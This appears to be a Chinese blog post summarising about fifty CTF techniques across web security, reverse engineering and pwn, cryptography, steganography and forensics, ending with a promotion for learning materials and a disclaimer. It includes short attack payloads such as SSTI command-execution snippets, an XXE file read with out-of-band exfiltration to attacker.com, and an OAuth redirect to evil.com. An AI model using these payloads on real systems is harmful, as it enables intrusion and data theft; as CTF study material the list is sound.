CTF竞赛的核心逻辑
-
• 核心目标:快速拆解问题(Flag导向)、工具链协作、模式化思维。
-
• 关键原则:先广度后深度(优先收集信息)、分治策略(拆解复杂任务)。
第一部分:Web安全(15个思路)
- SQL注入绕过WAF:
-
• 使用
/*!50000注释*/
混淆SQL语句(MySQL特性)。 -
• 利用
CONCAT(CHAR(115),CHAR(101))
代替明文字符串。
- SSTI模板注入:
-
• Flask/Jinja2中通过
{{''.__class__.__mro__[1].__subclasses__()}}
获取危险类。 -
• Twig模板使用
{{_self.env.registerUndefinedFilterCallback("exec")}}
执行命令。
- 文件包含漏洞利用:
-
• PHP伪协议
php://input
读取POST原始数据,写入Webshell。 -
• 利用
logrotate
日志文件包含(如/proc/self/environ
泄露路径)。
- JWT伪造攻击:
-
• 修改Header中
alg
为none
(需删除签名字段)。 -
• 暴力破解弱密钥(工具:
hashcat -m 16500
)。
- XXE漏洞利用:
-
• 通过
<!ENTITY xxe SYSTEM "file:///etc/passwd">
读取系统文件。 -
• 外带数据利用(OOB):
http://attacker.com/?data=%xxe;
。
- CSRF绕过同源策略:
- • 构造自动提交表单的恶意页面,利用
<img src="[URL]">
触发请求。
- SSRF内网探测:
- • 利用
gopher://
协议攻击Redis未授权访问,写入SSH密钥。
- 反序列化漏洞:
-
• PHP中利用
__destruct()
或__wakeup()
魔术方法触发链。 -
• Java Commons-Collections利用
InvokerTransformer
执行命令。
- Cookie伪造:
- • Flask的Session签名伪造:通过已知密钥生成恶意Cookie(工具:
flask-unsign
)。
- CORS配置错误:
- • 修改请求头
Origin: target.com
欺骗服务器返回敏感数据。
- HTTP请求走私:
- • 利用
Transfer-Encoding: chunked
与Content-Length
冲突绕过网关。
- 目录穿越读取文件:
- • 使用
....//
或%2e%2e%2f
绕过路径过滤。
- Web缓存投毒:
- • 篡改
X-Forwarded-Host
头注入恶意内容到缓存页面。
- OAuth登录劫持:
- • 伪造回调URL窃取授权码(如
redirect_uri=http://evil.com
)。
- 浏览器特性滥用:
- • 利用
<link rel="prefetch" href="secret.php">
窃取登录态。
第二部分:逆向工程与PWN(12个思路)
- 函数定位技巧:
- • IDA中搜索字符串
"flag"
或"correct"
定位关键逻辑。
- 栈溢出利用:
- • 计算偏移量(
cyclic 200
生成字符串 +dmesg
查看崩溃地址)。
- 格式化字符串漏洞:
- • 利用
%n
向任意地址写入数据(如修改GOT表)。
- 堆利用(UAF/Double Free):
- • 释放后重用(UAF)修改虚表指针劫持控制流。
- ROP链构造:
- • 使用
ROPgadget --binary ./pwn
提取可用指令片段。
- 反调试绕过:
- • 修改
/proc/self/status
中的TracerPid
字段欺骗检查。
- 动态Hook技术:
- • 使用
LD_PRELOAD
劫持strcmp()
函数绕过密码校验。
- Shellcode编写:
- • 生成无空字符的Shellcode(
msfvenom -b '\x00'
)。
- 整数溢出利用:
- • 触发符号错误(如
size = -1
绕过长度检查)。
- Angr符号执行:
- • 自动化求解路径约束(示例:破解CTF中的“迷宫”题)。
- Patch二进制文件:
- • 使用
Binary Ninja
修改跳转条件(如jz → jnz
)。
- 侧信道攻击:
- • 通过时间差判断密码正确性(如逐字符爆破)。
第三部分:密码学与隐写术(13个思路)
- Base家族识别:
- • Base64(末尾
=
)、Base32(全大写字母)、Base58(无0/O/I/l)。
- RSA低指数攻击:
- • 当
e=3
且明文较短时,直接对密文开立方。
- RSA共模攻击:
- • 相同明文加密后,通过扩展欧几里得算法恢复明文。
- 哈希长度扩展攻击:
- • 利用SHA1/MD5的填充机制伪造合法签名(工具:
hash_extender
)。
- 培根密码:
- • 5位二进制模式(A=AAAAA, B=AAAAB…)。
- 词频分析:
- • 英文单表替换密码中统计高频字母(如E、T、A)。
- LSB隐写提取:
- • 使用
Stegsolve.jar
分析图片RGB最低位。
- 音频隐写:
- • Audacity查看频谱图,寻找摩尔斯电码或二进制波形。
- ZIP伪加密破解:
- • 修改ZIP文件头加密标记位(工具:
zipdetails
分析结构)。
- PDF隐写:
- • 使用
pdftotext
提取隐藏文本,或检查对象流(/FlateDecode
)。
- NTFS数据流隐藏:
- • 使用
dir /R
查看ADS(Alternate Data Stream)。
- PNG文件修复:
- • 手动修复文件头(
89 50 4E 47 0D 0A 1A 0A
)和CRC校验。
- 二维码数据提取:
- • 使用
zbarimg
扫描模糊或残缺二维码。
第四部分:MISC与编程(10个思路)
- 编码转换自动化:
- • Python脚本批量处理Hex/Base85/URL编码。
- 流量分析(Wireshark):
- • 过滤HTTP流:
http.request.method == "POST"
。
- 内存取证(Volatility):
- • 提取进程列表:
volatility -f dump.raw pslist
。
- 社会工程学信息收集:
- • 通过WHOIS查询域名注册人邮箱。
- 正则表达式暴力提取:
- • 使用
grep -oE 'flag{[a-zA-Z0-9_]+}'
快速匹配Flag格式。
- 时间盲注自动化:
- • 编写Python脚本结合
requests
与延时判断逐字符爆破。
- Git泄露利用:
- • 访问
/.git/HEAD
确认存在,使用git-dumper
恢复源码。
- DNS隧道检测:
- • 分析长域名请求(如
abcd1234.evil.com
携带Base64数据)。
- Excel宏代码提取:
- • 解压XLSM文件,检查
vbaProject.bin
中的恶意宏。
- PDF混淆绕过:
- • 使用
qpdf --stream-data=uncompress
解压对象流。
题外话
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
网络安全学习路线&学习资源
下面给大家分享一份2025最新版的网络安全学习资料,帮助新人小白更系统、更快速的学习黑客技术!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题,配套的视频教程我也整理好了,还包括100多本电子书,外加面试宝典和黑客常用工具包都给你打包好了。
因篇幅有限,仅展示部分资料,需要扫描下方图片即可前往获取
好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!
特别声明:
此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!